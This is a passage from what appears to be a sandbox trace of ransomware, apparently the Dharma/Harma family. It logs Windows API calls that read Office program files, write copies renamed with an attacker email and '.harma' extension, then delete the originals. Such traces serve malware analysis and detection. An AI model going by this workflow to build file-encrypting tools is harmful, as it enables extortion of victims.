Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0065.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.433] lstrlenW (lpString=".doc") returned 4 [0065.433] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString=".docx") returned 5 [0065.433] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0065.433] lstrlenW (lpString=".pdf") returned 4 [0065.433] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString=".xls") returned 4 [0065.433] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString=".xlsx") returned 5 [0065.433] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0065.433] lstrlenW (lpString=".ppt") returned 4 [0065.433] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.433] lstrlenW (lpString=".zip") returned 4 [0065.433] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString=".rar") returned 4 [0065.433] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString=".bz2") returned 4 [0065.433] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString=".7z") returned 3 [0065.433] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0065.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.433] lstrlenW (lpString=".dbf") returned 4 [0065.433] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.433] lstrlenW (lpString=".1cd") returned 4 [0065.433] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0065.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.433] lstrlenW (lpString=".jpg") returned 4 [0065.434] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.434] lstrlenW (lpString=".doc") returned 4 [0065.434] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString=".docx") returned 5 [0065.434] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0065.434] lstrlenW (lpString=".pdf") returned 4 [0065.434] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString=".xls") returned 4 [0065.434] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString=".xlsx") returned 5 [0065.434] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0065.434] lstrlenW (lpString=".ppt") returned 4 [0065.434] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.434] lstrlenW (lpString=".zip") returned 4 [0065.434] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString=".rar") returned 4 [0065.434] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString=".bz2") returned 4 [0065.434] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString=".7z") returned 3 [0065.434] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.434] lstrlenW (lpString=".dbf") returned 4 [0065.434] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.434] lstrlenW (lpString=".1cd") returned 4 [0065.434] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0065.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0065.434] lstrlenW (lpString=".jpg") returned 4 [0065.435] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0065.435] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0065.435] lstrlenW (lpString="msgfilt.dll") returned 11 [0065.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0065.967] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=38768) returned 1 [0065.967] CloseHandle (hObject=0x1f4) returned 1 [0065.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0066.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.015] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.015] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0066.590] GetLastError () returned 0x0 [0066.590] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x9770, lpOverlapped=0x0) returned 1 [0066.592] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x9780, lpOverlapped=0x0) returned 1 [0066.593] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0066.593] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.593] SetEndOfFile (hFile=0x164) returned 1 [0066.594] CloseHandle (hObject=0x164) returned 1 [0066.594] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.594] SetEndOfFile (hFile=0x1f4) returned 1 [0066.595] CloseHandle (hObject=0x1f4) returned 1 [0066.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.595] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0066.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.596] lstrlenW (lpString=".doc") returned 4 [0066.596] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.596] lstrlenW (lpString=".docx") returned 5 [0066.596] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0066.596] lstrlenW (lpString=".pdf") returned 4 [0066.596] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.596] lstrlenW (lpString=".xls") returned 4 [0066.596] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.596] lstrlenW (lpString=".xlsx") returned 5 [0066.596] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0066.596] lstrlenW (lpString=".ppt") returned 4 [0066.596] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.596] lstrlenW (lpString=".zip") returned 4 [0066.596] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.596] lstrlenW (lpString=".rar") returned 4 [0066.596] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.596] lstrlenW (lpString=".bz2") returned 4 [0066.596] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.596] lstrlenW (lpString=".7z") returned 3 [0066.596] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.596] lstrlenW (lpString=".dbf") returned 4 [0066.596] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.596] lstrlenW (lpString=".1cd") returned 4 [0066.596] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.596] lstrlenW (lpString=".jpg") returned 4 [0066.597] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.597] lstrlenW (lpString=".doc") returned 4 [0066.597] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString=".docx") returned 5 [0066.597] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0066.597] lstrlenW (lpString=".pdf") returned 4 [0066.597] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString=".xls") returned 4 [0066.597] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString=".xlsx") returned 5 [0066.597] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0066.597] lstrlenW (lpString=".ppt") returned 4 [0066.597] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.597] lstrlenW (lpString=".zip") returned 4 [0066.597] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString=".rar") returned 4 [0066.597] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0066.597] lstrlenW (lpString=".bz2") returned 4 [0066.597] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0066.597] lstrlenW (lpString=".7z") returned 3 [0066.597] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0066.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.597] lstrlenW (lpString=".dbf") returned 4 [0066.597] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0066.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.597] lstrlenW (lpString=".1cd") returned 4 [0066.597] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0066.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0066.597] lstrlenW (lpString=".jpg") returned 4 [0066.598] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0066.598] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0066.598] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0066.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.600] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=323936) returned 1 [0066.600] CloseHandle (hObject=0x1f4) returned 1 [0066.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0066.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.601] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.601] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0066.601] GetLastError () returned 0x0 [0066.601] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x4f160, lpOverlapped=0x0) returned 1 [0066.608] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0066.615] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0066.615] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.615] SetEndOfFile (hFile=0x164) returned 1 [0066.615] CloseHandle (hObject=0x164) returned 1 [0066.615] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.615] SetEndOfFile (hFile=0x1f4) returned 1 [0066.619] CloseHandle (hObject=0x1f4) returned 1 [0066.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.620] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0066.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.620] lstrlenW (lpString=".doc") returned 4 [0066.620] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0066.620] lstrlenW (lpString=".docx") returned 5 [0066.620] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0066.620] lstrlenW (lpString=".pdf") returned 4 [0066.620] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0066.620] lstrlenW (lpString=".xls") returned 4 [0066.620] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0066.620] lstrlenW (lpString=".xlsx") returned 5 [0066.620] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0066.620] lstrlenW (lpString=".ppt") returned 4 [0066.620] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0066.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.620] lstrlenW (lpString=".zip") returned 4 [0066.621] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0066.621] lstrlenW (lpString=".rar") returned 4 [0066.621] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0066.621] lstrlenW (lpString=".bz2") returned 4 [0066.621] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0066.621] lstrlenW (lpString=".7z") returned 3 [0066.621] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0066.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.621] lstrlenW (lpString=".dbf") returned 4 [0066.621] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0066.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.621] lstrlenW (lpString=".1cd") returned 4 [0066.621] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0066.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.621] lstrlenW (lpString=".jpg") returned 4 [0066.621] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0066.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.621] lstrlenW (lpString=".doc") returned 4 [0066.621] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0066.621] lstrlenW (lpString=".docx") returned 5 [0066.621] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0066.621] lstrlenW (lpString=".pdf") returned 4 [0066.621] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0066.621] lstrlenW (lpString=".xls") returned 4 [0066.621] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0066.621] lstrlenW (lpString=".xlsx") returned 5 [0066.621] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0066.621] lstrlenW (lpString=".ppt") returned 4 [0066.621] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0066.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.622] lstrlenW (lpString=".zip") returned 4 [0066.622] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0066.622] lstrlenW (lpString=".rar") returned 4 [0066.622] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0066.622] lstrlenW (lpString=".bz2") returned 4 [0066.622] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0066.622] lstrlenW (lpString=".7z") returned 3 [0066.622] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0066.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.622] lstrlenW (lpString=".dbf") returned 4 [0066.622] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0066.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.622] lstrlenW (lpString=".1cd") returned 4 [0066.622] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0066.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0066.622] lstrlenW (lpString=".jpg") returned 4 [0066.622] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0066.622] lstrcmpiW (lpString1=".FNT", lpString2=".harma") returned -1 [0066.622] lstrlenW (lpString="CGMIMP32.FNT") returned 12 [0066.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.624] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=606062) returned 1 [0066.624] CloseHandle (hObject=0x1f4) returned 1 [0066.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 0x20 [0066.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0066.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0066.624] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.624] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0066.624] GetLastError () returned 0x0 [0066.624] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x93f6e, lpOverlapped=0x0) returned 1 [0066.636] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x93f70, lpOverlapped=0x0) returned 1 [0066.646] ReadFile (in: hFile=0x1f4, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0066.646] WriteFile (in: hFile=0x164, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0066.646] SetEndOfFile (hFile=0x164) returned 1 [0066.647] CloseHandle (hObject=0x164) returned 1 [0066.647] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0066.647] SetEndOfFile (hFile=0x1f4) returned 1 [0066.655] CloseHandle (hObject=0x1f4) returned 1 [0066.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0066.655] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt")) returned 1 [0066.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT") returned 67 [0066.656] lstrlenW (lpString=".doc") returned 4 [0066.656] lstrcmpiW (lpString1=".doc", lpString2=".FNT") returned -1 [0066.656] lstrlenW (lpString=".docx") returned 5 [0066.656] lstrcmpiW (lpString1=".docx", lpString2="2.FNT") returned -1 [0066.656] lstrlenW (lpString=".pdf") returned 4 [0066.656] lstrcmpiW (lpString1=".pdf", lpString2=".FNT") returned 1 [0066.656] lstrlenW (lpString=".xls") returned 4 [0066.656] lstrcmpiW (lpString1=".xls", 